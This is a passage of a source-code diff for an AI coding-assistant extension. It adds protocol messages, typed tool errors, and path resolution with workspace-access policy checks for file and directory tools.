IdeSettings,
LLMFullCompletionOptions,
- MCPServerStatus,
MessageOption,
ModelDescription,
PromptLog,
@@ -35,7 +35,6 @@ import {
RangeInFileWithNextEditInfo,
SerializedContinueConfig,
Session,
- BaseSessionMetadata,
SiteIndexingConfig,
SlashCommandDescWithSource,
StreamDiffLinesPayload,
@@ -49,12 +48,10 @@ import {
ControlPlaneEnv,
ControlPlaneSessionInfo,
} from "../control-plane/AuthTypes";
-import {
- FreeTrialStatus,
- RemoteSessionMetadata,
-} from "../control-plane/client";
+import { CreditStatus, RemoteSessionMetadata } from "../control-plane/client";
import { ProcessedItem } from "../nextEdit/NextEditPrefetchQueue";
import { NextEditOutcome } from "../nextEdit/types";
+import { ContinueErrorReason } from "../util/errors";
export enum OnboardingModes {
API_KEY = "API Key",
@@ -82,6 +79,7 @@ export type ToCoreFromIdeOrWebviewProtocol = {
"history/load": [{ id: string }, Session];
"history/loadRemote": [{ remoteId: string }, Session];
"history/save": [Session, void];
+ "history/share": [{ id: string; outputDir?: string }, void];
"history/clear": [undefined, void];
"devdata/log": [DevDataLogEvent, void];
"config/addOpenAiKey": [string, void];
@@ -93,6 +91,7 @@ export type ToCoreFromIdeOrWebviewProtocol = {
void,
];
"config/addLocalWorkspaceBlock": [{ blockType: BlockType }, void];
+ "config/addGlobalRule": [undefined, void];
"config/newPromptFile": [undefined, void];
"config/newAssistantFile": [undefined, void];
"config/ideSettingsUpdate": [IdeSettings, void];
@@ -117,10 +116,7 @@ export type ToCoreFromIdeOrWebviewProtocol = {
),
void,
];
- "config/openProfile": [
- { profileId: string | undefined; element?: { sourceFile?: string } },
- void,
- ];
+ "config/openProfile": [{ profileId: string | undefined }, void];
"config/updateSharedConfig": [SharedConfigSchema, SharedConfigSchema];
"config/updateSelectedModel": [
{
@@ -147,6 +143,7 @@ export type ToCoreFromIdeOrWebviewProtocol = {
},
void,
];
+ "mcp/setServerEnabled": [{ id: string; enabled: boolean }, void];
"mcp/getPrompt": [
{
serverName: string;
@@ -158,9 +155,20 @@ export type ToCoreFromIdeOrWebviewProtocol = {
description: string | undefined;
},
];
- "mcp/startAuthentication": [MCPServerStatus, void];
- "mcp/removeAuthentication": [MCPServerStatus, void];
-
+ "mcp/startAuthentication": [
+ {
+ serverId: string;
+ serverUrl: string;
+ },
+ void,
+ ];
+ "mcp/removeAuthentication": [
+ {
+ serverId: string;
+ serverUrl: string;
+ },
+ void,
+ ];
"context/getSymbolsForFiles": [{ uris: string[] }, FileSymbolMap];
"context/loadSubmenuItems": [{ title: string }, ContextSubmenuItem[]];
"autocomplete/complete": [AutocompleteInput, string[]];
@@ -233,6 +241,7 @@ export type ToCoreFromIdeOrWebviewProtocol = {
AsyncGenerator,
];
streamDiffLines: [StreamDiffLinesPayload, AsyncGenerator];
+ getDiffLines: [{ oldContent: string; newContent: string }, DiffLine[]];
"llm/compileChat": [
{ messages: ChatMessage[]; options: LLMFullCompletionOptions },
CompiledMessagesResult,
@@ -299,20 +308,33 @@ export type ToCoreFromIdeOrWebviewProtocol = {
"auth/getAuthUrl": [{ useOnboarding: boolean }, { url: string }];
"tools/call": [
{ toolCall: ToolCall },
- { contextItems: ContextItem[]; errorMessage?: string },
+ {
+ contextItems: ContextItem[];
+ errorMessage?: string;
+ errorReason?: ContinueErrorReason;
+ },
];
"tools/evaluatePolicy": [
- { toolName: string; basePolicy: ToolPolicy; args: Record },
+ {
+ toolName: string;
+ basePolicy: ToolPolicy;
+ parsedArgs: Record;
+ processedArgs?: Record;
+ },
{ policy: ToolPolicy; displayValue?: string },
];
+ "tools/preprocessArgs": [
+ { toolName: string; args: Record },
+ {
+ preprocessedArgs?: Record;
+ errorReason?: ContinueErrorReason;
+ errorMessage?: string;
+ },
+ ];
"clipboardCache/add": [{ content: string }, void];
"controlPlane/openUrl": [{ path: string; orgSlug?: string }, void];
"controlPlane/getEnvironment": [undefined, ControlPlaneEnv];
- "controlPlane/getFreeTrialStatus": [undefined, FreeTrialStatus | null];
- "controlPlane/getModelsAddOnUpgradeUrl": [
- { vsCodeUriScheme?: string },
- { url: string } | null,
- ];
+ "controlPlane/getCreditStatus": [undefined, CreditStatus | null];
isItemTooBig: [{ item: ContextItemWithId }, boolean];
didChangeControlPlaneSessionInfo: [
{ sessionInfo: ControlPlaneSessionInfo | undefined },
diff --git a/core/protocol/ideWebview.ts b/core/protocol/ideWebview.ts
index 232953f88..f1d269292 100644
--- a/core/protocol/ideWebview.ts
+++ b/core/protocol/ideWebview.ts
@@ -3,10 +3,13 @@ import { ToWebviewFromIdeOrCoreProtocol } from "./webview";
import {
AcceptOrRejectDiffPayload,
+ AddToChatPayload,
ApplyState,
ApplyToFilePayload,
+ ContextItemWithId,
HighlightedCodePayload,
MessageContent,
+ RangeInFile,
RangeInFileWithContents,
SetCodeToEditPayload,
ShowFilePayload,
@@ -48,6 +51,39 @@ export type ToIdeFromWebviewProtocol = ToIdeFromWebviewOrCoreProtocol & {
];
"edit/addCurrentSelection": [undefined, void];
"edit/clearDecorations": [undefined, void];
+ "session/share": [{ sessionId: string }, void];
+ createBackgroundAgent: [
+ {
+ content: MessageContent;
+ contextItems: ContextItemWithId[];
+ selectedCode: RangeInFile[];
+ organizationId?: string;
+ agent?: string;
+ },
+ void,
+ ];
+ listBackgroundAgents: [
+ { organizationId?: string; limit?: number },
+ {
+ agents: Array<{
+ id: string;
+ name: string | null;
+ status: string;
+ repoUrl: string;
+ createdAt: string;
+ metadata?: {
+ github_repo?: string;
+ };
+ }>;
+ totalCount: number;
+ },
+ ];
+ openAgentLocally: [
+ {
+ agentSessionId: string;
+ },
+ void,
+ ];
};
export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & {
@@ -64,6 +100,7 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & {
focusContinueSessionId: [{ sessionId: string | undefined }, void];
newSession: [undefined, void];
+ loadAgentSession: [{ session: any }, void];
setTheme: [{ theme: any }, void];
setColors: [{ [key: string]: string }, void];
"jetbrains/editorInsetRefresh": [undefined, void];
@@ -77,4 +114,5 @@ export type ToWebviewFromIdeProtocol = ToWebviewFromIdeOrCoreProtocol & {
exitEditMode: [undefined, void];
focusEdit: [undefined, void];
generateRule: [undefined, void];
+ addToChat: [AddToChatPayload, void];
};
diff --git a/core/protocol/passThrough.ts b/core/protocol/passThrough.ts
index 60a971c36..f77b7a05d 100644
--- a/core/protocol/passThrough.ts
+++ b/core/protocol/passThrough.ts
@@ -22,6 +22,7 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] =
"config/newAssistantFile",
"config/ideSettingsUpdate",
"config/addLocalWorkspaceBlock",
+ "config/addGlobalRule",
"config/getSerializedProfileInfo",
"config/deleteModel",
"config/refreshProfiles",
@@ -32,6 +33,7 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] =
"mcp/getPrompt",
"mcp/startAuthentication",
"mcp/removeAuthentication",
+ "mcp/setServerEnabled",
"context/getContextItems",
"context/getSymbolsForFiles",
"context/loadSubmenuItems",
@@ -80,9 +82,9 @@ export const WEBVIEW_TO_CORE_PASS_THROUGH: (keyof ToCoreFromWebviewProtocol)[] =
"didChangeSelectedOrg",
"tools/call",
"tools/evaluatePolicy",
+ "tools/preprocessArgs",
"controlPlane/getEnvironment",
- "controlPlane/getFreeTrialStatus",
- "controlPlane/getModelsAddOnUpgradeUrl",
+ "controlPlane/getCreditStatus",
"controlPlane/openUrl",
"isItemTooBig",
"process/markAsBackgrounded",
diff --git a/core/tools/callTool.ts b/core/tools/callTool.ts
index faec8a94b..8d695e1e1 100644
--- a/core/tools/callTool.ts
+++ b/core/tools/callTool.ts
@@ -1,6 +1,7 @@
import { CallToolResultSchema } from "@modelcontextprotocol/sdk/types.js";
import { ContextItem, Tool, ToolCall, ToolExtras } from "..";
import { MCPManagerSingleton } from "../context/mcp/MCPManagerSingleton";
+import { ContinueError, ContinueErrorReason } from "../util/errors";
import { canParseUrl } from "../util/url";
import { BuiltInToolNames } from "./builtIn";
@@ -197,6 +198,7 @@ export async function callTool(
): Promise<{
contextItems: ContextItem[];
errorMessage: string | undefined;
+ errorReason?: ContinueErrorReason;
}> {
try {
const args = safeParseToolCallArgs(toolCall);
@@ -214,12 +216,19 @@ export async function callTool(
};
} catch (e) {
let errorMessage = `${e}`;
- if (e instanceof Error) {
+ let errorReason: ContinueErrorReason | undefined;
+
+ if (e instanceof ContinueError) {
+ errorMessage = e.message;
+ errorReason = e.reason;
+ } else if (e instanceof Error) {
errorMessage = e.message;
}
+
return {
contextItems: [],
errorMessage,
+ errorReason,
};
}
}
diff --git a/core/tools/constants.ts b/core/tools/constants.ts
index 0b5278209..332a270ef 100644
--- a/core/tools/constants.ts
+++ b/core/tools/constants.ts
@@ -1,2 +1,4 @@
export const NO_TOOL_CALL_OUTPUT_MESSAGE = "No tool output";
export const CANCELLED_TOOL_CALL_MESSAGE = "The user cancelled this tool call.";
+export const ERRORED_TOOL_CALL_OUTPUT_MESSAGE =
+ "There was an error calling the tool.";
diff --git a/core/tools/definitions/createNewFile.ts b/core/tools/definitions/createNewFile.ts
index 4d52cd665..7bfc3f8f0 100644
--- a/core/tools/definitions/createNewFile.ts
+++ b/core/tools/definitions/createNewFile.ts
@@ -1,5 +1,8 @@
+import { ToolPolicy } from "@continuedev/terminal-security";
import { Tool } from "../..";
+import { ResolvedPath, resolveInputPath } from "../../util/pathResolver";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
+import { evaluateFileAccessPolicy } from "../policies/fileAccess";
export const createNewFileTool: Tool = {
type: "function",
@@ -21,7 +24,7 @@ export const createNewFileTool: Tool = {
filepath: {
type: "string",
description:
- "The path where the new file should be created, relative to the root of the workspace",
+ "The path where the new file should be created. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI.",
},
contents: {
type: "string",
@@ -38,4 +41,26 @@ export const createNewFileTool: Tool = {
["contents", "Contents of the file"],
],
},
+ preprocessArgs: async (args, { ide }) => {
+ const filepath = args.filepath as string;
+ const resolvedPath = await resolveInputPath(ide, filepath);
+
+ // Store the resolved path info in args for policy evaluation
+ return {
+ resolvedPath,
+ };
+ },
+ evaluateToolCallPolicy: (
+ basePolicy: ToolPolicy,
+ _: Record,
+ processedArgs?: Record,
+ ): ToolPolicy => {
+ const resolvedPath = processedArgs?.resolvedPath as
+ | ResolvedPath
+ | null
+ | undefined;
+ if (!resolvedPath) return basePolicy;
+
+ return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace);
+ },
};
diff --git a/core/tools/definitions/grepSearch.ts b/core/tools/definitions/grepSearch.ts
index c9e78d62d..bac426f71 100644
--- a/core/tools/definitions/grepSearch.ts
+++ b/core/tools/definitions/grepSearch.ts
@@ -13,7 +13,7 @@ export const grepSearchTool: Tool = {
function: {
name: BuiltInToolNames.GrepSearch,
description:
- "Perform a search over the repository using ripgrep. Will not include results for many build, cache, secrets dirs/files. Output may be truncated, so use targeted queries",
+ "Performs a regex search over the repository using ripgrep. Will not include results for many build, cache, secrets dirs/files. Output may be truncated, so use targeted queries",
parameters: {
type: "object",
required: ["query"],
@@ -21,7 +21,7 @@ export const grepSearchTool: Tool = {
query: {
type: "string",
description:
- "The search query to use. Must be a valid ripgrep regex expression, escaped where needed",
+ "The search query to use. Must be the exact string to be searched or a valid ripgrep expression. Use regex with alternation (e.g., 'word1|word2|word3) or character classes to find multiple potential words in a single search.",
},
},
},
diff --git a/core/tools/definitions/ls.ts b/core/tools/definitions/ls.ts
index 49ac5b1c6..4892f720b 100644
--- a/core/tools/definitions/ls.ts
+++ b/core/tools/definitions/ls.ts
@@ -1,6 +1,9 @@
import { Tool } from "../..";
+import { ToolPolicy } from "@continuedev/terminal-security";
+import { ResolvedPath, resolveInputPath } from "../../util/pathResolver";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
+import { evaluateFileAccessPolicy } from "../policies/fileAccess";
export const lsTool: Tool = {
type: "function",
@@ -20,7 +23,7 @@ export const lsTool: Tool = {
dirPath: {
type: "string",
description:
- "The directory path relative to the root of the project. Use forward slash paths like '/'. rather than e.g. '.'",
+ "The directory path. Can be relative to project root, absolute path, tilde path (~/...), or file:// URI. Use forward slash paths",
},
recursive: {
type: "boolean",
@@ -39,4 +42,28 @@ export const lsTool: Tool = {
],
},
toolCallIcon: "FolderIcon",
+ preprocessArgs: async (args, { ide }) => {
+ const dirPath = args.dirPath as string;
+
+ // Default to current directory if no path provided
+ const pathToResolve = dirPath || ".";
+ const resolvedPath = await resolveInputPath(ide, pathToResolve);
+
+ return {
+ resolvedPath,
+ };
+ },
+ evaluateToolCallPolicy: (
+ basePolicy: ToolPolicy,
+ _: Record,
+ processedArgs?: Record,
+ ): ToolPolicy => {
+ const resolvedPath = processedArgs?.resolvedPath as
+ | ResolvedPath
+ | null
+ | undefined;
+ if (!resolvedPath) return basePolicy;
+
+ return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace);
+ },
};
diff --git a/core/tools/definitions/multiEdit.ts b/core/tools/definitions/multiEdit.ts
index e50fd459c..e526b90e5 100644
--- a/core/tools/definitions/multiEdit.ts
+++ b/core/tools/definitions/multiEdit.ts
@@ -1,7 +1,9 @@
import { Tool } from "../..";
+import { validateMultiEdit } from "../../edit/searchAndReplace/multiEditValidation";
+import { executeMultiFindAndReplace } from "../../edit/searchAndReplace/performReplace";
+import { validateSearchAndReplaceFilepath } from "../../edit/searchAndReplace/validateArgs";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
import { NO_PARALLEL_TOOL_CALLING_INSTRUCTION } from "./editFile";
-import { singleFindAndReplaceTool } from "./singleFindAndReplace";
export interface EditOperation {
old_string: string;
@@ -25,8 +27,7 @@ export const multiEditTool: Tool = {
isInstant: false,
function: {
name: BuiltInToolNames.MultiEdit,
- description: `This is a tool for making multiple edits to a single file in one operation. It is built on top of the ${singleFindAndReplaceTool.function.name} and allows you to perform multiple find-and-replace operations efficiently.
-Prefer this tool over the ${singleFindAndReplaceTool.function.name} tool when you need to make multiple edits to the same file.
+ description: `Use this tool to make multiple edits to a single file in one operation. It allows you to perform multiple find-and-replace operations efficiently.
To make multiple edits to a file, provide the following:
1. filepath: The path to the file to modify, RELATIVE to the project/workspace root (verify the directory path is correct)
@@ -36,6 +37,7 @@ To make multiple edits to a file, provide the following:
- replace_all: Replace all occurrences of old_string. This parameter is optional and defaults to false.
IMPORTANT:
+- Files may be modified between tool calls by users, linters, etc, so always make all edits in one tool call where possible. For example, do not only edit imports if there are other changes in the file, as unused imports may be removed by a linter between tool calls.
- All edits are applied in sequence, in the order they are provided
- Each edit operates on the result of the previous edit, so plan your edits carefully to avoid conflicts between sequential operations
- Edits are atomic - all edits must be valid for the operation to succeed - if any edit fails, none will be applied
@@ -50,12 +52,6 @@ CRITICAL REQUIREMENTS:
- Only use emojis if the user explicitly requests it. Avoid adding emojis to files unless asked
- Use replace_all for replacing and renaming all matches for a string across the file. This parameter is useful if you want to rename a variable, for instance
-If you want to create a new file, use:
-- A new file path, including new directory if needed
-- First edit: empty old_string and the new file's contents as new_string
-- Subsequent edits are not allowed - there is no need since you are creating
-- ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required
-
WARNINGS:
- If earlier edits affect the text that later edits are trying to find, files can become mangled
- The tool will fail if edits.old_string doesn't match the file contents exactly (including whitespace)
@@ -114,4 +110,24 @@ WARNINGS:
],
},
defaultToolPolicy: "allowedWithPermission",
+ preprocessArgs: async (args, extras) => {
+ const { edits } = validateMultiEdit(args);
+ const fileUri = await validateSearchAndReplaceFilepath(
+ args.filepath,
+ extras.ide,
+ );
+
+ const editingFileContents = await extras.ide.readFile(fileUri);
+ const newFileContents = executeMultiFindAndReplace(
+ editingFileContents,
+ edits,
+ );
+
+ return {
+ ...args,
+ fileUri,
+ editingFileContents,
+ newFileContents,
+ };
+ },
};
diff --git a/core/tools/definitions/readFile.ts b/core/tools/definitions/readFile.ts
index ee6c1c91c..9342e7916 100644
--- a/core/tools/definitions/readFile.ts
+++ b/core/tools/definitions/readFile.ts
@@ -1,5 +1,8 @@
+import { ToolPolicy } from "@continuedev/terminal-security";
import { Tool } from "../..";
+import { ResolvedPath, resolveInputPath } from "../../util/pathResolver";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
+import { evaluateFileAccessPolicy } from "../policies/fileAccess";
export const readFileTool: Tool = {
type: "function",
@@ -21,7 +24,7 @@ export const readFileTool: Tool = {
filepath: {
type: "string",
description:
- "The path of the file to read, relative to the root of the workspace (NOT uri or absolute path)",
+ "The path of the file to read. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI",
},
},
},
@@ -32,4 +35,26 @@ export const readFileTool: Tool = {
},
defaultToolPolicy: "allowedWithoutPermission",
toolCallIcon: "DocumentIcon",
+ preprocessArgs: async (args, { ide }) => {
+ const filepath = args.filepath as string;
+ const resolvedPath = await resolveInputPath(ide, filepath);
+
+ // Store the resolved path info in args for policy evaluation
+ return {
+ resolvedPath,
+ };
+ },
+ evaluateToolCallPolicy: (
+ basePolicy: ToolPolicy,
+ _: Record,
+ processedArgs?: Record,
+ ): ToolPolicy => {
+ const resolvedPath = processedArgs?.resolvedPath as
+ | ResolvedPath
+ | null
+ | undefined;
+ if (!resolvedPath) return basePolicy;
+
+ return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace);
+ },
};
diff --git a/core/tools/definitions/readFileRange.ts b/core/tools/definitions/readFileRange.ts
index 41a7bfcfd..2c573c72d 100644
--- a/core/tools/definitions/readFileRange.ts
+++ b/core/tools/definitions/readFileRange.ts
@@ -1,5 +1,8 @@
+import { ToolPolicy } from "@continuedev/terminal-security";
import { Tool } from "../..";
+import { ResolvedPath, resolveInputPath } from "../../util/pathResolver";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
+import { evaluateFileAccessPolicy } from "../policies/fileAccess";
export const readFileRangeTool: Tool = {
type: "function",
@@ -49,4 +52,25 @@ export const readFileRangeTool: Tool = {
},
defaultToolPolicy: "allowedWithoutPermission",
toolCallIcon: "DocumentIcon",
+ preprocessArgs: async (args, { ide }) => {
+ const filepath = args.filepath as string;
+ const resolvedPath = await resolveInputPath(ide, filepath);
+
+ return {
+ resolvedPath,
+ };
+ },
+ evaluateToolCallPolicy: (
+ basePolicy: ToolPolicy,
+ _: Record,
+ processedArgs?: Record,
+ ): ToolPolicy => {
+ const resolvedPath = processedArgs?.resolvedPath as
+ | ResolvedPath
+ | null
+ | undefined;
+ if (!resolvedPath) return basePolicy;
+
+ return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace);
+ },
};
diff --git a/core/tools/definitions/requestRule.test.ts b/core/tools/definitions/requestRule.test.ts
index 0fd7b5de8..b2d924ec9 100644
--- a/core/tools/definitions/requestRule.test.ts
+++ b/core/tools/definitions/requestRule.test.ts
@@ -10,7 +10,7 @@ describe("getRequestRuleDescription", () => {
source: "default-chat",
rule: "Always use semicolons",
alwaysApply: true,
- ruleFile: "/path/to/rule1.md",
+ sourceFile: "/path/to/rule1.md",
},
{
name: "Rule with Globs",
@@ -18,7 +18,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Use TypeScript",
globs: "**/*.ts",
- ruleFile: "/path/to/rule2.md",
+ sourceFile: "/path/to/rule2.md",
},
];
@@ -38,7 +38,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Use consistent formatting",
alwaysApply: false,
- ruleFile: "/path/to/agent-rule1.md",
+ sourceFile: "/path/to/agent-rule1.md",
},
{
name: "Agent Rule 2",
@@ -46,7 +46,7 @@ describe("getRequestRuleDescription", () => {
source: "default-agent",
rule: "Follow naming conventions",
alwaysApply: false,
- ruleFile: "/path/to/agent-rule2.md",
+ sourceFile: "/path/to/agent-rule2.md",
},
// These should be filtered out
{
@@ -55,7 +55,7 @@ describe("getRequestRuleDescription", () => {
source: "default-chat",
rule: "Always use semicolons",
alwaysApply: true,
- ruleFile: "/path/to/rule1.md",
+ sourceFile: "/path/to/rule1.md",
},
{
name: "Rule with Globs",
@@ -63,7 +63,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Use TypeScript",
globs: "**/*.ts",
- ruleFile: "/path/to/rule2.md",
+ sourceFile: "/path/to/rule2.md",
},
];
@@ -84,7 +84,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Some rule content",
alwaysApply: false,
- ruleFile: "/path/to/no-desc-rule.md",
+ sourceFile: "/path/to/no-desc-rule.md",
},
];
@@ -104,7 +104,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Some rule content",
alwaysApply: false,
- ruleFile: "/path/to/no-name-rule.md",
+ sourceFile: "/path/to/no-name-rule.md",
},
];
@@ -117,7 +117,7 @@ describe("getRequestRuleDescription", () => {
expect(result).toBe(expected);
});
- it("should handle rules with missing ruleFile", () => {
+ it("should handle rules with missing sourceFile", () => {
const rules: RuleWithSource[] = [
{
name: "Rule Without File",
@@ -144,7 +144,7 @@ describe("getRequestRuleDescription", () => {
description: "This should be filtered out",
source: "rules-block",
rule: "Some rule",
- ruleFile: "/path/to/rule.md",
+ sourceFile: "/path/to/rule.md",
// alwaysApply is undefined, which is truthy in the filter condition
},
{
@@ -153,7 +153,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Some rule",
alwaysApply: false,
- ruleFile: "/path/to/valid-rule.md",
+ sourceFile: "/path/to/valid-rule.md",
},
];
@@ -175,7 +175,7 @@ describe("getRequestRuleDescription", () => {
rule: "Some rule",
alwaysApply: false,
globs: "**/*.ts",
- ruleFile: "/path/to/rule1.md",
+ sourceFile: "/path/to/rule1.md",
},
{
name: "Rule with array globs",
@@ -184,7 +184,7 @@ describe("getRequestRuleDescription", () => {
rule: "Some rule",
alwaysApply: false,
globs: ["**/*.ts", "**/*.js"],
- ruleFile: "/path/to/rule2.md",
+ sourceFile: "/path/to/rule2.md",
},
{
name: "Valid Agent Rule",
@@ -192,7 +192,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Some rule",
alwaysApply: false,
- ruleFile: "/path/to/valid-rule.md",
+ sourceFile: "/path/to/valid-rule.md",
},
];
@@ -224,7 +224,7 @@ describe("getRequestRuleDescription", () => {
source: "rules-block",
rule: "Follow this guideline",
alwaysApply: false,
- ruleFile: "/path/to/single-rule.md",
+ sourceFile: "/path/to/single-rule.md",
},
];
diff --git a/core/tools/definitions/singleFindAndReplace.ts b/core/tools/definitions/singleFindAndReplace.ts
index 653fba584..c5b2995e1 100644
--- a/core/tools/definitions/singleFindAndReplace.ts
+++ b/core/tools/definitions/singleFindAndReplace.ts
@@ -1,4 +1,7 @@
import { Tool } from "../..";
+import { validateSingleEdit } from "../../edit/searchAndReplace/findAndReplaceUtils";
+import { executeFindAndReplace } from "../../edit/searchAndReplace/performReplace";
+import { validateSearchAndReplaceFilepath } from "../../edit/searchAndReplace/validateArgs";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
import { NO_PARALLEL_TOOL_CALLING_INSTRUCTION } from "./editFile";
@@ -70,4 +73,31 @@ WARNINGS:
],
},
defaultToolPolicy: "allowedWithPermission",
+ preprocessArgs: async (args, extras) => {
+ const { oldString, newString, replaceAll } = validateSingleEdit(
+ args.old_string,
+ args.new_string,
+ args.replace_all,
+ );
+ const fileUri = await validateSearchAndReplaceFilepath(
+ args.filepath,
+ extras.ide,
+ );
+
+ const editingFileContents = await extras.ide.readFile(fileUri);
+ const newFileContents = executeFindAndReplace(
+ editingFileContents,
+ oldString,
+ newString,
+ replaceAll ?? false,
+ 0,
+ );
+
+ return {
+ ...args,
+ fileUri,
+ editingFileContents,
+ newFileContents,
+ };
+ },
};
diff --git a/core/tools/definitions/viewSubdirectory.ts b/core/tools/definitions/viewSubdirectory.ts
index f8776716f..eafd35dd7 100644
--- a/core/tools/definitions/viewSubdirectory.ts
+++ b/core/tools/definitions/viewSubdirectory.ts
@@ -1,5 +1,8 @@
+import { ToolPolicy } from "@continuedev/terminal-security";
import { Tool } from "../..";
+import { ResolvedPath, resolveInputPath } from "../../util/pathResolver";
import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn";
+import { evaluateFileAccessPolicy } from "../policies/fileAccess";
export const viewSubdirectoryTool: Tool = {
type: "function",
@@ -31,4 +34,25 @@ export const viewSubdirectoryTool: Tool = {
},
defaultToolPolicy: "allowedWithPermission",
toolCallIcon: "FolderOpenIcon",
+ preprocessArgs: async (args, { ide }) => {
+ const directoryPath = args.directory_path as string;
+ const resolvedPath = await resolveInputPath(ide, directoryPath);
+
+ return {
+ resolvedPath,
+ };
+ },
+ evaluateToolCallPolicy: (
+ basePolicy: ToolPolicy,
+ _: Record,
+ processedArgs?: Record,
+ ): ToolPolicy => {
+ const resolvedPath = processedArgs?.resolvedPath as
+ | ResolvedPath
+ | null
+ | undefined;
+ if (!resolvedPath) return basePolicy;
+
+ return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace);
+ },
};
diff --git a/core/tools/implementations/createNewFile.ts b/core/tools/implementations/createNewFile.ts
index 0677e7dcd..dca307d99 100644
--- a/core/tools/implementations/createNewFile.ts
+++ b/core/tools/implementations/createNewFile.ts
@@ -3,6 +3,7 @@ import { inferResolvedUriFromRelativePath } from "../../util/ideUtils";
import { ToolImpl } from ".";
import { getCleanUriPath, getUriPathBasename } from "../../util/uri";
import { getStringArg } from "../parseArgs";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
export const createNewFileImpl: ToolImpl = async (args, extras) => {
const filepath = getStringArg(args, "filepath");
@@ -15,7 +16,8 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => {
if (resolvedFileUri) {
const exists = await extras.ide.fileExists(resolvedFileUri);
if (exists) {
- throw new Error(
+ throw new ContinueError(
+ ContinueErrorReason.FileAlreadyExists,
`File ${filepath} already exists. Use the edit tool to edit this file`,
);
}
@@ -37,6 +39,9 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => {
},
];
} else {
- throw new Error("Failed to resolve path");
+ throw new ContinueError(
+ ContinueErrorReason.PathResolutionFailed,
+ "Failed to resolve path",
+ );
}
};
diff --git a/core/tools/implementations/fetchUrlContent.vitest.ts b/core/tools/implementations/fetchUrlContent.vitest.ts
index 0c8efb81b..d0709bad1 100644
--- a/core/tools/implementations/fetchUrlContent.vitest.ts
+++ b/core/tools/implementations/fetchUrlContent.vitest.ts
@@ -89,3 +89,13 @@ test("fetchUrlContent should add truncation warning with multiple truncated item
expect(result[1].content.length).toBe(DEFAULT_FETCH_URL_CHAR_LIMIT);
expect(result[2].name).toBe("Truncation warning");
});
+
+test("fetchUrlContent should propagate errors when URL fetch fails", async () => {
+ const errorMessage = "HTTP 404 Not Found";
+
+ (getUrlContextItems as any).mockRejectedValue(new Error(errorMessage));
+
+ await expect(
+ fetchUrlContentImpl({ url: "https://example.com/404" }, mockExtras),
+ ).rejects.toThrow(errorMessage);
+});
diff --git a/core/tools/implementations/grepSearch.ts b/core/tools/implementations/grepSearch.ts
index 727b5c560..69ccf6aac 100644
--- a/core/tools/implementations/grepSearch.ts
+++ b/core/tools/implementations/grepSearch.ts
@@ -1,5 +1,6 @@
import { ToolImpl } from ".";
import { ContextItem } from "../..";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
import { formatGrepSearchResults } from "../../util/grepSearch";
import { prepareQueryForRipgrep } from "../../util/regexValidator";
import { getStringArg } from "../parseArgs";
@@ -63,7 +64,10 @@ export const grepSearchImpl: ToolImpl = async (args, extras) => {
];
}
- throw error;
+ throw new ContinueError(
+ ContinueErrorReason.SearchExecutionFailed,
+ errorMessage,
+ );
}
const { formatted, numResults, truncated } = formatGrepSearchResults(
diff --git a/core/tools/implementations/lsTool.ts b/core/tools/implementations/lsTool.ts
index 67122f082..c8c753060 100644
--- a/core/tools/implementations/lsTool.ts
+++ b/core/tools/implementations/lsTool.ts
@@ -2,13 +2,15 @@ import ignore from "ignore";
import { ToolImpl } from ".";
import { walkDir } from "../../indexing/walkDir";
-import { resolveRelativePathInDir } from "../../util/ideUtils";
+import { resolveInputPath } from "../../util/pathResolver";
+import { ContinueError, ContinueErrorReason } from "../../util/errors";
export function resolveLsToolDirPath(dirPath: string | undefined) {
if (!dirPath || dirPath === ".") {
return "/";
}
- if (dirPath.startsWith(".")) {
+ // Don't strip leading slash from absolute paths - let the resolver handle it
+ if (dirPath.startsWith(".") && !dirPath.startsWith("./")) {
return dirPath.slice(1);
}
return dirPath.replace(/\\/g, "/");
@@ -18,14 +20,15 @@ const MAX_LS_TOOL_LINES = 200;
export const lsToolImpl: ToolImpl = async (args, extras) => {
const dirPath = resolveLsToolDirPath(args?.dirPath);
- const uri = await resolveRelativePathInDir(dirPath, extras.ide);
- if (!uri) {
- throw new Error(
- `Directory ${args.dirPath} not found. Make sure to use forward-slash paths`,
+ const resolvedPath = await resolveInputPath(extras.ide, dirPath);
+ if (!resolvedPath) {
+ throw new ContinueError(
+ ContinueErrorReason.DirectoryNotFound,
+ `Directory ${args.dirPath} not found or is not accessible. You can use absolute paths, relative paths, or paths starting with ~`,
);
}
- const entries = await walkDir(uri, extras.ide, {
+ const entries = await walkDir(resolvedPath.uri, extras.ide, {
returnRelativeUrisPaths: true,
include: "both",
recursive: args?.recursive ?? false,
@@ -37,12 +40,12 @@ export const lsToolImpl: ToolImpl = async (args, extras) => {
let content =
lines.length > 0
? lines.join("\n")
